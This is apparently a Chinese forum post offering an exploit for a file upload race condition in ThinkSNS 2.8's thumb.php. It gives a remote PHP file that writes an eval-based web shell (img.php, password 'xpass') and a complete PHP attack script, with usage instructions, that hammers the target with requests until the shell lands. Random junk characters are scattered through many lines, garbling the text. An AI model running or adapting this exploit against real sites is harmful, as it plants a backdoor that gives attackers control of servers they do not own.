Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
1 w/ |' Q! z; ~存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
7 {; M+ W) {$ f作者：韦鲲鹏
% Q0 X; L- {# {  Z+ X1、        准备如下PHP文件并上传到服务器（自己的）。
3 ?& Y9 j8 D& U- q文件内容如下：
" L5 ~/ V4 q, Y$ T<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
; ?5 J3 K) V% n/ {+ z5 H6 T6 q$ O9 }, M2、        计算出临时的文件名：
; H7 {6 d2 N% K0 A: `% Z% ?1 J. E. B这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
4、        访问临时文件。
% @5 P# N# `5 ]2 W- ?7 v但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
# M: F) D! q# ~  W. N4 x7 yExploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
. U' ]! {) q  |6 Cset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
* z, F% r. B. Z' C8 V' z. ^  mreturn $fp;
}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
1 s; ]* \% K: T* [8 R3 h$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
1 |3 E2 n; b9 S8 _}
; J2 ^6 ]; ~1 S$ l1 \% Oprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
5 b: |- ~; S4 Nprint “# Discovered by 韦鲲鹏 #\n\n”;
5 Q" r3 ?- a& U) Pif ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
! ], ~; h# r) b5 ~4 y7 x" B: |die();
/ U6 s2 G& Z9 O+ h. s8 ~: v}
$host = $argv[1];
! R* O2 ]9 @/ I8 V! R$ Y" F$path = $argv[2];
$url = $argv[3];
1 ^- L& ]# [0 X: H+ G% f; h$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 m1 Z4 p% w5 _4 E$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
( k7 @. f( R- y9 ofclose(http_send($host, 80, $headers));
3 H, u% y, s* h% M, S}
; G. n8 z# F7 h3 u" d) b% `fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
, H8 q4 n% x/ V" V/ n+ W}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
4 U/ M+ N- H) g, n1 y$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
' ]& T+ L- j7 Q9 s1 |: I0 A$ Hprint “Success!\n\n”;
- O9 o0 U' T% O# D, Y% n' k} else {
* F2 E  k7 ^1 D) Y" lprint “Fail!\n\n”;
}
?>
8 s. B5 P* y* T7 _& q; B​